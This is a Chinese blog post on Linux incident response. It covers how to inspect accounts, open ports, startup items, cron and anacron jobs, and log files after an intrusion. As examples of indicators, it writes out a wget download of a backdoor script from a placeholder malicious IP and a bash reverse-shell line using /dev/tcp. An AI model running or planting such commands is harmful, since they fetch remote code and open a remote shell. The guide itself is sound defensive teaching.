应急响应linux

发布于:2025-08-07 ⋅ 阅读:(11) ⋅ 点赞:(0)

应急响应:

  在网络安全领域,应急响应(Incident Response) 是指当网络安全事件(如黑客攻击、数据泄露、恶意软件感染等)发生时,为了最大限度减少损失、快速恢复系统正常运行、追溯事件根源并预防类似事件再次发生而采取的一系列有组织、有计划的应对措施。

  在网络威胁日益复杂的背景下,即使拥有完善的防护体系,也难以完全避免安全事件。应急响应作为 “事后补救” 的关键环节,能够快速控制损失、缩短业务中断时间,同时通过复盘持续提升组织的安全能力,是网络安全防护体系中不可或缺的一部分。

linux入侵排查

查账号:

目的:发现攻击者创建的隐藏账户、特权账户滥用、弱口令账户或异常登录行为,阻断持续控制通道。

  1. 用户与权限
    • 命令:cat /etc/passwd(列所有用户)、cat /etc/sudoers(查 sudo 权限用户)、awk -F: '$3==0 {print $1}' /etc/passwd(查 UID=0 的超级用户,正常应为 root)。
    • 重点:无家目录(如/bin/false)、登录 shell 异常(如/bin/sh而非/bin/bash)的用户,或近期新增的未知用户。
  2. 登录记录
    • 命令:last(成功登录历史)、lastb(失败登录尝试)、cat /var/log/secure(CentOS)或/var/log/auth.log(Ubuntu),分析异常 IP、高频失败登录的账号。

可以查看/etc/passwd用户信息文件是否存在异常账号存在

格式:用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell

  在这之下重点查 bin/bash,因为用bin/bash登录,说明被人添加了新用户并且可以登录。攻击者上传的后门脚本(如 reverse_shell.sh),几乎都会用 #!/bin/bash 作为解释器。查 bash 进程、启动记录,可发现脚本的执行痕迹;而用nologin大概率没被入侵,因为不能登录。

查端口:

目的:发现恶意程序监听端口、与外部 C&C 服务器(命令控制端)的连接,或未授权开放的服务端口。

  1. 命令行排查
    • netstat -tulnp 或 ss -tulnp:显示 TCP/UDP 端口及关联进程(需 root 权限)。
    • lsof -i :<端口号>:查询特定端口对应的进程。
    • 重点:非标准端口(如 3389 外的远程桌面端口、高位随机端口)、与陌生 IP 的长连接(尤其是境外 IP)。

使用 netstat 网络连接命令,分析可疑的端口,IP和PID        netstat -antlp | more

如发现异常,可以查看PID对应的进程文件路径

运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号)

使用ps aux | grep pid 命令分析进程

查启动项:

目的:发现攻击者配置的恶意程序开机自启动项,阻止其持久化控制。

  1. 系统服务启动项
    • systemctl list-unit-files --type=service --state=enabled:列出开机自启服务,检查服务名称是否陌生(如 “sysupdate”“networkd” 等仿冒名)。
  2. 用户级启动项
    • /etc/rc.local(开机脚本)、/etc/profile.d/(用户登录脚本),查看是否有新增的恶意命令(如wget http://恶意IP/backdoor.sh)。
    • 用户目录:~/.bashrc ~/.profile,检查是否被植入自启动命令。

可以使用        more /etc/rc.local
                       /etc/rc.d/rc[0~6].d
                       ls -l /etc/rc.d/rc3.d/

去排查启动项文件

查定时任务※:

目的:攻击者常通过定时任务执行反弹 shell、下载恶意程序等操作,需排查隐藏的周期性任务。

  1. 系统级定时任务
    • crontab -l(当前用户任务)、cat /etc/crontab(系统全局任务)。
    • 目录排查:/etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/,检查是否有陌生脚本(如文件名随机、权限异常)。
  2. 异常特征
    • 任务内容含wget curl下载恶意文件、bash -i >& /dev/tcp/恶意IP/端口 0>&1(反弹 shell)等命令。

使用crontab 创建计划任务

crontab -l   列出某个用户cron服务的详细内容

             -r   删除每个用户cront任务(谨慎:删除所有的计划任务)

             -e  使用编辑器编辑当前的crontab文件 

如:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件“hello world”传入tmp下的test.txt

也可以利用anacron命令实现异步定时任务调度

如:每天运行/home/shell.sh脚本

        vi /etc/anacrontab

        @daily    5    example.daily   /bin/bash /home/backup.sh
当机器在 backup.sh 期望被运行时是关机的,anacron会在机器开机5分钟之后运行它,而不用再等待 7天。

重点排查以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

可以使用 more /etc/cron.daily/*  查看目录下所有文件

进到 /etc/cron.daily/* 

                         

这个轮转服务的功能:把每天的日志传到日志服务器。

查日志

目的:通过日志还原攻击时间线、定位入侵点(如漏洞利用、社工攻击),为溯源提供依据。

  1. 系统日志
    • /var/log/messages(系统消息):查内核事件、服务启动失败(可能因恶意程序占用端口)。
  2. 应用日志
    • Nginx/Apache 日志(/var/log/nginx/access.log):分析 Web 请求中的攻击特征(如/etc/passwd路径遍历)。

日志的默认存放位置为:/var/log

查看日志的配置情况:more /etc/rsyslog.conf

如图:

日志文件 说明
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 重点※ 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

网站公告

今日签到

点亮在社区的每一天
去签到